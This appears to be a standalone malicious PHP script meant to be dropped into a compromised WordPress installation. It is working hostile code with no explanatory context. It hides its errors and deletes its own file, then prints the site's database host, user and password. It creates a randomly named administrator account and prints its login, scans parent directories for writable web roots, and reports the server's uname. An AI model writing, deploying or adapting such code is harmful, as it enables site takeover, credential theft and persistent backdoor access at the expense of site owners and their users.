<?PHP
@error_reporting(0);
@ini_set("display_errors",0);
@ignore_user_abort();
@set_time_limit(0);
@unlink(__FILE__);

function read_all($dir,$deep){	
    if(!@is_dir($dir)){return false;}
    $handle = @opendir($dir);
    if($handle){
        while(($fl=readdir($handle))!==false){
            $temp = $dir.DIRECTORY_SEPARATOR.$fl;
            if(is_dir($temp) && $fl!='.' && $fl != '..' && substr($fl,0,1) != '.'){
				if(strtolower($fl)=='www' || strtolower($fl)=='wwwwroot' || strtolower($fl)=='html' || strtolower($fl)=='public_html' || strtolower($fl)=='htdocs'){
					if(@is_readable($temp)){
						if(@is_writable($temp)){
							echo "* ";
						}else{
							echo "x ";
						}
						echo $temp."\r\n";
					}
				}
                if($deep > 3){continue;};
                read_all($temp,$deep+1);
				
            }
        }
    }
}

echo("\r\n");

if(stripos(__DIR__,'wp-content')){
	$path_arr=explode('wp-content',__DIR__);
	
	if(file_exists($path_arr[0].'wp-blog-header.php') && file_exists($path_arr[0].'wp-includes/registration.php')){
		@require_once($path_arr[0].'wp-blog-header.php');
		@require_once($path_arr[0].'wp-includes/registration.php');
		echo(DB_HOST." ".DB_USER." ".DB_PASSWORD."\r\n");
		$nser=substr(md5(mt_rand(0,999)),-7);
		$pass=substr(md5(mt_rand(0,999)),-7)."A!"; 
		$user=@wp_create_user($nser, $pass, "{$nser}@{$nser}.com");
		if(!@is_wp_error($user)){$user=@get_user_by('login',$nser);$user->set_role('administrator');echo("{$nser}:{$pass}\r\n");}
	}
	
	read_all(dirname(dirname(dirname($path_arr[0]))),1);
}

echo(php_uname());